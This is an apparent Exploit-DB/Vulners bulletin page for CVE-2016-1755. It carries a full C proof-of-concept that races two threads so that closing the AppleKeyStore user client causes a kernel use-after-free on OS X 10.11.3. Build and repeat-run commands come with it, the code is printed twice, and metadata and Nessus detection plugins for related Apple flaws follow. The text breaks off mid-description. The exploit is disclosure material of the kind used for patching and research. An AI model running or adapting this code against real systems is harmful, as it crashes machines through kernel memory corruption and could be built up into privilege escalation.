ID EDB-ID:39614 Type exploitdb Reporter Google Security Research Modified 2016-03-23T00:00:00
Description
OS X Kernel - AppleKeyStore Use-After-Free. CVE-2016-1755. Dos exploit for osx platform
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=710
The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
//ianbeer
//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread
//repro: while true; do ./applekeystore_race; done
// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free
/*
OS X Kernel use-after-free in AppleKeyStore
The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0;
inputScalarCnt = 4;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 40960;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
make_iokit_call();
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("AppleKeyStore", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
return 0;
}
{"id": "EDB-ID:39614", "hash": "f530e99e179910b911292ecb7133d2d3", "type": "exploitdb", "bulletinFamily": "exploit", "title": "OS X Kernel - AppleKeyStore Use-After-Free", "description": "OS X Kernel - AppleKeyStore Use-After-Free. CVE-2016-1755. Dos exploit for osx platform", "published": "2016-03-23T00:00:00", "modified": "2016-03-23T00:00:00", "cvss": {"score": 7.3, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:HIGH/I:HIGH/A:HIGH/"}, "href": "https://www.exploit-db.com/exploits/39614/", "reporter": "Google Security Research", "references": [], "cvelist": ["CVE-2016-1755"], "lastseen": "2016-03-23T20:34:40", "history": [], "viewCount": 20, "enchantments": {"score": {"value": 4.2, "vector": "NONE", "modified": "2016-03-23T20:34:40"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-1755"]}, {"type": "zdt", "idList": ["1337DAY-ID-25886"]}, {"type": "nessus", "idList": ["MACOSX_SECUPD2016-002.NASL", "APPLETV_9_2.NASL", "MACOSX_10_11_4.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310806695", "OPENVAS:1361412562310806693"]}], "modified": "2016-03-23T20:34:40"}, "vulnersScore": 4.2}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/39614/", "sourceData": "/*\r\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=710\r\n\r\nThe AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however\r\nby racing two threads, one of which closes the userclient (which frees the IOCommandGate)\r\nand one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.\r\n\r\nTested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2\r\n*/\r\n\r\n//ianbeer\r\n\r\n//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread\r\n//repro: while true; do ./applekeystore_race; done\r\n// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free\r\n\r\n/*\r\nOS X Kernel use-after-free in AppleKeyStore\r\n\r\nThe AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however\r\nby racing two threads, one of which closes the userclient (which frees the IOCommandGate)\r\nand one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.\r\n\r\nTested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\n#include <IOKit/IOKitLib.h>\r\n\r\n#include <libkern/OSAtomic.h>\r\n\r\n#include <mach/thread_act.h>\r\n\r\n#include <pthread.h>\r\n\r\n#include <mach/mach.h>\r\n#include <mach/vm_map.h>\r\n#include <sys/mman.h>\r\n \r\nunsigned int selector = 0;\r\n\r\nuint64_t inputScalar[16];\r\nsize_t inputScalarCnt = 0;\r\n\r\nuint8_t inputStruct[40960];\r\nsize_t inputStructCnt = 0; \r\n\r\nuint64_t outputScalar[16] = {0};\r\nuint32_t outputScalarCnt = 0;\r\n\r\nchar outputStruct[40960] = {0};\r\nsize_t outputStructCnt = 0;\r\n\r\nio_connect_t global_conn = MACH_PORT_NULL;\r\n\r\nvoid set_params(io_connect_t conn){\r\n global_conn = conn;\r\n selector = 0;\r\n inputScalarCnt = 4;\r\n inputStructCnt = 0; \r\n outputScalarCnt = 16;\r\n outputStructCnt = 40960; \r\n}\r\n\r\nvoid make_iokit_call(){ \r\n IOConnectCallMethod(\r\n global_conn,\r\n selector,\r\n inputScalar,\r\n inputScalarCnt,\r\n inputStruct,\r\n inputStructCnt,\r\n outputScalar,\r\n &outputScalarCnt,\r\n outputStruct,\r\n &outputStructCnt);\r\n}\r\n\r\nOSSpinLock lock = OS_SPINLOCK_INIT;\r\n\r\nvoid* thread_func(void* arg){\r\n int got_it = 0;\r\n while (!got_it) {\r\n got_it = OSSpinLockTry(&lock);\r\n }\r\n\r\n make_iokit_call();\r\n return NULL;\r\n}\r\n\r\nmach_port_t get_user_client(char* name, int type) {\r\n kern_return_t err;\r\n\r\n CFMutableDictionaryRef matching = IOServiceMatching(name);\r\n if(!matching){\r\n printf(\"unable to create service matching dictionary\\n\");\r\n return 0;\r\n }\r\n\r\n io_iterator_t iterator;\r\n err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);\r\n if (err != KERN_SUCCESS){\r\n printf(\"no matches\\n\");\r\n return 0;\r\n }\r\n\r\n io_service_t service = IOIteratorNext(iterator);\r\n\r\n if (service == IO_OBJECT_NULL){\r\n printf(\"unable to find service\\n\");\r\n return 0;\r\n }\r\n printf(\"got service: %x\\n\", service);\r\n\r\n\r\n io_connect_t conn = MACH_PORT_NULL;\r\n err = IOServiceOpen(service, mach_task_self(), type, &conn);\r\n if (err != KERN_SUCCESS){\r\n printf(\"unable to get user client connection\\n\");\r\n return 0;\r\n }\r\n\r\n printf(\"got userclient connection: %x\\n\", conn);\r\n\r\n return conn;\r\n}\r\n\r\nint main(int argc, char** argv){\r\n OSSpinLockLock(&lock);\r\n\r\n pthread_t t;\r\n pthread_create(&t, NULL, thread_func, NULL);\r\n\r\n mach_port_t conn = get_user_client(\"AppleKeyStore\", 0);\r\n \r\n set_params(conn);\r\n OSSpinLockUnlock(&lock);\r\n IOServiceClose(conn);\r\n return 0;\r\n}\r\n", "osvdbidlist": [], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-09-26T11:36:01", "bulletinFamily": "NVD", "description": "The kernel in Apple iOS before 9.3, OS X before 10.11.4, tvOS before 9.2, and watchOS before 2.2 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2016-1754.", "modified": "2019-03-25T17:41:00", "id": "CVE-2016-1755", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1755", "published": "2016-03-24T01:59:00", "title": "CVE-2016-1755", "type": "cve", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-03-05T21:36:07", "bulletinFamily": "exploit", "description": "Exploit for macOS platform in category dos / poc", "modified": "2016-03-23T00:00:00", "published": "2016-03-23T00:00:00", "href": "https://0day.today/exploit/description/25886", "id": "1337DAY-ID-25886", "title": "Apple Mac OSX - Kernel AppleKeyStore Use-After-Free", "type": "zdt", "sourceData": "/*\r\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=710\r\n \r\nThe AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however\r\nby racing two threads, one of which closes the userclient (which frees the IOCommandGate)\r\nand one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.\r\n \r\nTested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2\r\n*/\r\n \r\n//ianbeer\r\n \r\n//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread\r\n//repro: while true; do ./applekeystore_race; done\r\n// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free\r\n \r\n/*\r\nOS X Kernel use-after-free in AppleKeyStore\r\n \r\nThe AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however\r\nby racing two threads, one of which closes the userclient (which frees the IOCommandGate)\r\nand one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.\r\n \r\nTested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2\r\n*/\r\n \r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n \r\n#include <IOKit/IOKitLib.h>\r\n \r\n#include <libkern/OSAtomic.h>\r\n \r\n#include <mach/thread_act.h>\r\n \r\n#include <pthread.h>\r\n \r\n#include <mach/mach.h>\r\n#include <mach/vm_map.h>\r\n#include <sys/mman.h>\r\n \r\nunsigned int selector = 0;\r\n \r\nuint64_t inputScalar[16];\r\nsize_t inputScalarCnt = 0;\r\n \r\nuint8_t inputStruct[40960];\r\nsize_t inputStructCnt = 0; \r\n \r\nuint64_t outputScalar[16] = {0};\r\nuint32_t outputScalarCnt = 0;\r\n \r\nchar outputStruct[40960] = {0};\r\nsize_t outputStructCnt = 0;\r\n \r\nio_connect_t global_conn = MACH_PORT_NULL;\r\n \r\nvoid set_params(io_connect_t conn){\r\n global_conn = conn;\r\n selector = 0;\r\n inputScalarCnt = 4;\r\n inputStructCnt = 0; \r\n outputScalarCnt = 16;\r\n outputStructCnt = 40960; \r\n}\r\n \r\nvoid make_iokit_call(){ \r\n IOConnectCallMethod(\r\n global_conn,\r\n selector,\r\n inputScalar,\r\n inputScalarCnt,\r\n inputStruct,\r\n inputStructCnt,\r\n outputScalar,\r\n &outputScalarCnt,\r\n outputStruct,\r\n &outputStructCnt);\r\n}\r\n \r\nOSSpinLock lock = OS_SPINLOCK_INIT;\r\n \r\nvoid* thread_func(void* arg){\r\n int got_it = 0;\r\n while (!got_it) {\r\n got_it = OSSpinLockTry(&lock);\r\n }\r\n \r\n make_iokit_call();\r\n return NULL;\r\n}\r\n \r\nmach_port_t get_user_client(char* name, int type) {\r\n kern_return_t err;\r\n \r\n CFMutableDictionaryRef matching = IOServiceMatching(name);\r\n if(!matching){\r\n printf(\"unable to create service matching dictionary\\n\");\r\n return 0;\r\n }\r\n \r\n io_iterator_t iterator;\r\n err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);\r\n if (err != KERN_SUCCESS){\r\n printf(\"no matches\\n\");\r\n return 0;\r\n }\r\n \r\n io_service_t service = IOIteratorNext(iterator);\r\n \r\n if (service == IO_OBJECT_NULL){\r\n printf(\"unable to find service\\n\");\r\n return 0;\r\n }\r\n printf(\"got service: %x\\n\", service);\r\n \r\n \r\n io_connect_t conn = MACH_PORT_NULL;\r\n err = IOServiceOpen(service, mach_task_self(), type, &conn);\r\n if (err != KERN_SUCCESS){\r\n printf(\"unable to get user client connection\\n\");\r\n return 0;\r\n }\r\n \r\n printf(\"got userclient connection: %x\\n\", conn);\r\n \r\n return conn;\r\n}\r\n \r\nint main(int argc, char** argv){\r\n OSSpinLockLock(&lock);\r\n \r\n pthread_t t;\r\n pthread_create(&t, NULL, thread_func, NULL);\r\n \r\n mach_port_t conn = get_user_client(\"AppleKeyStore\", 0);\r\n \r\n set_params(conn);\r\n OSSpinLockUnlock(&lock);\r\n IOServiceClose(conn);\r\n return 0;\r\n}\n\n# 0day.today [2018-03-05] #", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/25886"}], "nessus": [{"lastseen": "2019-12-13T07:54:47", "bulletinFamily": "scanner", "description": "The remote host is running a version of Mac OS X that is 10.9.5 or\n10.10.5 and is missing Security Update 2016-002. It is, therefore,\naffected by multiple vulnerabilities in the following components :\n\n - apache_mod_php\n - Kernel\n - libxml2\n - OpenSSH\n - Python\n - Tcl\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.", "modified": "2019-12-02T00:00:00", "id": "MACOSX_SECUPD2016-002.NASL", "href": "https://www.tenable.com/plugins/nessus/90097", "published": "2016-03-22T00:00:00", "title": "Mac OS X 10.9.5 / 10.10.5 Multiple Vulnerabilities (Security Update 2016-002)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(90097);\n script_version(\"1.12\");\n script_cvs_date(\"Date: 2018/07/14 1:59:36\");\n\n script_cve_id(\n \"CVE-2014-9495\",\n \"CVE-2015-0973\",\n \"CVE-2015-1819\",\n \"CVE-2015-5312\",\n \"CVE-2015-5333\",\n \"CVE-2015-5334\",\n \"CVE-2015-7499\",\n \"CVE-2015-7500\",\n \"CVE-2015-7942\",\n \"CVE-2015-8035\",\n \"CVE-2015-8126\",\n \"CVE-2015-8242\",\n \"CVE-2015-8472\",\n \"CVE-2016-0777\",\n \"CVE-2016-0778\",\n \"CVE-2016-1754\",\n \"CVE-2016-1755\",\n \"CVE-2016-1759\",\n \"CVE-2016-1761\",\n \"CVE-2016-1762\"\n );\n script_bugtraq_id(\n 71820,\n 71994,\n 75570,\n 77112,\n 77390,\n 77568,\n 77681,\n 78624,\n 79507,\n 79509,\n 79536,\n 79562,\n 80695,\n 80698\n );\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2016-03-21-5\");\n\n script_name(english:\"Mac OS X 10.9.5 / 10.10.5 Multiple Vulnerabilities (Security Update 2016-002)\");\n script_summary(english:\"Checks for the presence of Security Update 2016-002.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a Mac OS X update that fixes multiple\nvulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Mac OS X that is 10.9.5 or\n10.10.5 and is missing Security Update 2016-002. It is, therefore,\naffected by multiple vulnerabilities in the following components :\n\n - apache_mod_php\n - Kernel\n - libxml2\n - OpenSSH\n - Python\n - Tcl\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT206167\");\n # http://lists.apple.com/archives/security-announce/2016/Mar/msg00004.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?6c87f79a\");\n script_set_attribute(attribute:\"solution\", value:\n\"Install Security Update 2016-002 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/03/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/03/22\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2016-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/MacOSX/Version\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\npatch = \"2016-002\";\n\n# Compare 2 patch numbers to determine if patch requirements are satisfied.\n# Return true if this patch or a later patch is applied\n# Return false otherwise\nfunction check_patch(year, number)\n{\n local_var p_split = split(patch, sep:\"-\");\n local_var p_year = int( p_split[0]);\n local_var p_num = int( p_split[1]);\n\n if (year > p_year) return TRUE;\n else if (year < p_year) return FALSE;\n else if (number >= p_num) return TRUE;\n else return FALSE;\n}\n\nif (!get_kb_item(\"Host/local_checks_enabled\"))\n audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n audit(AUDIT_OS_NOT, \"Mac OS X\");\n\nif (!ereg(pattern:\"Mac OS X 10\\.(9|10)\\.5([^0-9]|$)\", string:os))\n audit(AUDIT_OS_NOT, \"Mac OS X 10.9.5 or Mac OS X 10.10.5\");\n\npackages = get_kb_item_or_exit(\"Host/MacOSX/packages/boms\", exit_code:1);\nsec_boms_report = egrep(pattern:\"^com\\.apple\\.pkg\\.update\\.security\\..*bom$\", string:packages);\nsec_boms = split(sec_boms_report, sep:'\\n');\n\nforeach package (sec_boms)\n{\n # Grab patch year and number\n match = eregmatch(pattern:\"[^0-9](20[0-9][0-9])[-.]([0-9]{3})[^0-9]\", string:package);\n if (empty_or_null(match[1]) || empty_or_null(match[2]))\n continue;\n\n patch_found = check_patch(year:int(match[1]), number:int(match[2]));\n if (patch_found) exit(0, \"The host has Security Update \" + patch + \" or later installed and is therefore not affected.\");\n}\n\nreport = '\\n Missing security update : ' + patch;\nreport += '\\n Installed security BOMs : ';\nif (sec_boms_report) report += str_replace(find:'\\n', replace:'\\n ', string:sec_boms_report);\nelse report += 'n/a';\nreport += '\\n';\n\nsecurity_report_v4(port:0, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-13T06:40:36", "bulletinFamily": "scanner", "description": "According to its banner, the remote Apple TV device is a version prior\nto 9.2. It is, therefore, affected by the following vulnerabilities :\n\n - An XML external entity (XXE) expansion flaw exists in\n libxml2 due to the XML parser accepting entities from\n untrusted sources. An unauthenticated, remote attacker\n can exploit this, via crafted XML data, to cause a\n denial of service through resource exhaustion.\n (CVE-2015-1819)\n\n - An XML external entity (XXE) injection flaw exists in\n libxml2 in file parser.c due to the XML parser accepting\n entities from untrusted sources. An unauthenticated,\n remote attacker can exploit this, via crafted XML data,\n to cause a denial of service or to disclose sensitive\n information. (CVE-2015-5312)\n\n - A heap buffer overflow condition exists in libxml2 in\n the xmlGROW() function within file parser.c while\n handling XML data. An unauthenticated, remote attacker\n can exploit this to disclose sensitive information.\n (CVE-2015-7499)\n\n - An out-of-bounds heap read error exists in libxml2 in\n the xmlParseMisc() function within file parser.c while\n handling entity boundaries. An unauthenticated, remote\n attacker can exploit this to cause a denial of service.\n (CVE-2015-7500)\n\n - An out-of-bounds read error exists in libxml2 in the\n xmlParseConditionalSections() function within file\n parser.c due to a failure to properly skip intermediary\n entities when it stops parsing invalid input. An\n unauthenticated, remote attacker can exploit this, via\n crafted XML data, to cause a denial of service.\n (CVE-2015-7942)\n\n - A flaw exists in libxml2 in the xz_decomp() function\n within file xzlib.c due to a failure to properly detect\n compression errors when handling compressed XML content.\n An unauthenticated, remote attacker can exploit this,\n via crafted XML data, to cause an infinite loop,\n resulting in a denial of service.\n (CVE-2015-8035)\n\n - A out-of-bounds read error exists in libxml2 in the\n xmlSAX2TextNode() function within file SAX2.c due to\n improper sanitization of input data. An unauthenticated,\n remote attacker can exploit this, via crafted XML data,\n to cause a denial of service or to disclose sensitive\n information. (CVE-2015-8242)\n\n - A use-after-free error exists in Nghttp2 within file\n lib/nghttp2_session.c when handling idle streams. An\n unauthenticated, remote attacker can exploit this to\n deference already freed memory, allowing the execution\n of arbitrary code. (CVE-2015-8659)\n\n - An overflow condition exists in the Broadcom Wi-Fi\n driver due to improper validation of data while handling\n SSID or WPS_ID_DEVICE_NAME values. An unauthenticated,\n adjacent attacker can exploit this, via a crafted\n wireless control message packet, to cause a denial of\n service or to execute arbitrary code. (CVE-2016-0801)\n\n - An overflow condition exists in the Broadcom Wi-Fi\n driver due to improper validation of user-supplied\n input when handling the packet length of event messages.\n An unauthenticated, adjacent attacker can exploit this,\n via a crafted wireless control message packet, to cause\n a denial of service or to execute arbitrary code.\n (CVE-2016-0802)\n\n - A flaw exists in FontParser due to improper validation\n of user-supplied input when handling encoded fonts that\n contain invalid characters. An unauthenticated, remote\n attacker can exploit this, via a crafted PDF document,\n to corrupt memory, resulting in a denial of service or\n the execution arbitrary code. (CVE-2016-1740)\n\n - A flaw exists in IOHIDFamily due to improper validation\n of user-supplied input. An unauthenticated, remote\n attacker can exploit this, via a crafted application,\n to gain access to kernel memory layout information.\n (CVE-2016-1748)\n\n - A use-after-free error exists in the kernel that allows\n an unauthenticated, remote attacker to execute arbitrary\n code via a crafted application. (CVE-2016-1750)\n\n - A flaw exists in the kernel due to a failure to properly\n restrict execution permissions. An unauthenticated,\n remote attacker can exploit this, via a crafted\n application, to bypass code-signing protection\n mechanisms. (CVE-2016-1751)\n\n - An unspecified flaw exists in the kernel that allows a\n local attacker to cause a denial of service via a\n crafted application. (CVE-2016-1752)\n\n - An integer overflow condition exists in the kernel due\n to improper validation of user-supplied input. An\n unauthenticated, remote attacker can exploit this, via\n a crafted application, to gain elevated privileges.\n (CVE-2016-1753)\n\n - A memory corruption issue exists in the kernel due to\n improper validation of user-supplied input. An\n unauthenticated, remote attacker can exploit this, by\n convincing a user to install a malicious application,\n to cause a denial of service or execute arbitrary code.\n CVE-2016-1754)\n\n - A use-after-free error exists in the AppleKeyStore user\n client when handling multiple threads, which is\n triggered when one thread closes the user client while\n another attempts to call an external method. An\n unauthenticated, remote attacker can exploit this, by\n convincing a user to install a malicious application, to\n execute arbitrary code with elevated privileges.\n (CVE-2016-1755)\n\n - A flaw exists in libxml2 due to improper validation of\n user-supplied input while handling XML content. An\n unauthenticated, remote attacker can exploit this, via a\n crafted XML document, to cause a denial of service or to\n execute arbitrary code. (CVE-2016-1762)\n\n - An out-of-bounds write error exists in TrueTypeScaler\n due to improper validation of user-supplied input while\n handling bdat tables in TTF fonts. An unauthenticated,\n remote attacker can exploit this, via a crafted TTF\n font, to cause a denial or service or to execute\n arbitrary code. (CVE-2016-1775)\n\n - A flaw exists in WebKit due to improper validation of\n user-supplied input. An unauthenticated, remote attacker\n can exploit this, via a crafted website, to cause a\n denial of service or execute arbitrary code.\n (CVE-2016-1783)\n\n - An unspecified flaw exists in the History implementation\n of WebKit that allows an unauthenticated, remote\n attacker to cause a denial of service via a crafted\n website. (CVE-2016-1784)\n\n - A heap buffer overflow condition exists in Mozilla\n Network Security Services due to improper validation of\n user-supplied input while parsing ASN.1 structures. An\n unauthenticated, remote attacker can exploit this, via\n crafted ASN.1 data in an X.509 certificate, to cause a\n denial of service or execute arbitrary code.\n (CVE-2016-1950)\n\nNote that only 4th generation models are affected by these\nvulnerabilities, and this plugin only checks these models.", "modified": "2019-12-02T00:00:00", "id": "APPLETV_9_2.NASL", "href": "https://www.tenable.com/plugins/nessus/90309", "published": "2016-04-01T00:00:00", "title": "Apple TV < 9.2 Multiple Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(90309);\n script_version(\"1.15\");\n script_cvs_date(\"Date: 2019/11/19\");\n\n script_cve_id(\n \"CVE-2015-1819\",\n \"CVE-2015-5312\",\n \"CVE-2015-7499\",\n \"CVE-2015-7500\",\n \"CVE-2015-7942\",\n \"CVE-2015-8035\",\n \"CVE-2015-8242\",\n \"CVE-2015-8659\",\n \"CVE-2016-0801\",\n \"CVE-2016-0802\",\n \"CVE-2016-1740\",\n \"CVE-2016-1748\",\n \"CVE-2016-1750\",\n \"CVE-2016-1751\",\n \"CVE-2016-1752\",\n \"CVE-2016-1753\",\n \"CVE-2016-1754\",\n \"CVE-2016-1755\",\n \"CVE-2016-1762\",\n \"CVE-2016-1775\",\n \"CVE-2016-1783\",\n \"CVE-2016-1784\",\n \"CVE-2016-1950\"\n );\n script_bugtraq_id(\n 75570,\n 77390,\n 77681,\n 79507,\n 79509,\n 79536,\n 79562,\n 80438\n );\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2016-03-21-3\");\n\n script_name(english:\"Apple TV < 9.2 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the build number.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the remote Apple TV device is a version prior\nto 9.2. It is, therefore, affected by the following vulnerabilities :\n\n - An XML external entity (XXE) expansion flaw exists in\n libxml2 due to the XML parser accepting entities from\n untrusted sources. An unauthenticated, remote attacker\n can exploit this, via crafted XML data, to cause a\n denial of service through resource exhaustion.\n (CVE-2015-1819)\n\n - An XML external entity (XXE) injection flaw exists in\n libxml2 in file parser.c due to the XML parser accepting\n entities from untrusted sources. An unauthenticated,\n remote attacker can exploit this, via crafted XML data,\n to cause a denial of service or to disclose sensitive\n information. (CVE-2015-5312)\n\n - A heap buffer overflow condition exists in libxml2 in\n the xmlGROW() function within file parser.c while\n handling XML data. An unauthenticated, remote attacker\n can exploit this to disclose sensitive information.\n (CVE-2015-7499)\n\n - An out-of-bounds heap read error exists in libxml2 in\n the xmlParseMisc() function within file parser.c while\n handling entity boundaries. An unauthenticated, remote\n attacker can exploit this to cause a denial of service.\n (CVE-2015-7500)\n\n - An out-of-bounds read error exists in libxml2 in the\n xmlParseConditionalSections() function within file\n parser.c due to a failure to properly skip intermediary\n entities when it stops parsing invalid input. An\n unauthenticated, remote attacker can exploit this, via\n crafted XML data, to cause a denial of service.\n (CVE-2015-7942)\n\n - A flaw exists in libxml2 in the xz_decomp() function\n within file xzlib.c due to a failure to properly detect\n compression errors when handling compressed XML content.\n An unauthenticated, remote attacker can exploit this,\n via crafted XML data, to cause an infinite loop,\n resulting in a denial of service.\n (CVE-2015-8035)\n\n - A out-of-bounds read error exists in libxml2 in the\n xmlSAX2TextNode() function within file SAX2.c due to\n improper sanitization of input data. An unauthenticated,\n remote attacker can exploit this, via crafted XML data,\n to cause a denial of service or to disclose sensitive\n information. (CVE-2015-8242)\n\n - A use-after-free error exists in Nghttp2 within file\n lib/nghttp2_session.c when handling idle streams. An\n unauthenticated, remote attacker can exploit this to\n deference already freed memory, allowing the execution\n of arbitrary code. (CVE-2015-8659)\n\n - An overflow condition exists in the Broadcom Wi-Fi\n driver due to improper validation of data while handling\n SSID or WPS_ID_DEVICE_NAME values. An unauthenticated,\n adjacent attacker can exploit this, via a crafted\n wireless control message packet, to cause a denial of\n service or to execute arbitrary code. (CVE-2016-0801)\n\n - An overflow condition exists in the Broadcom Wi-Fi\n driver due to improper validation of user-supplied\n input when handling the packet length of event messages.\n An unauthenticated, adjacent attacker can exploit this,\n via a crafted wireless control message packet, to cause\n a denial of service or to execute arbitrary code.\n (CVE-2016-0802)\n\n - A flaw exists in FontParser due to improper validation\n of user-supplied input when handling encoded fonts that\n contain invalid characters. An unauthenticated, remote\n attacker can exploit this, via a crafted PDF document,\n to corrupt memory, resulting in a denial of service or\n the execution arbitrary code. (CVE-2016-1740)\n\n - A flaw exists in IOHIDFamily due to improper validation\n of user-supplied input. An unauthenticated, remote\n attacker can exploit this, via a crafted application,\n to gain access to kernel memory layout information.\n (CVE-2016-1748)\n\n - A use-after-free error exists in the kernel that allows\n an unauthenticated, remote attacker to execute arbitrary\n code via a 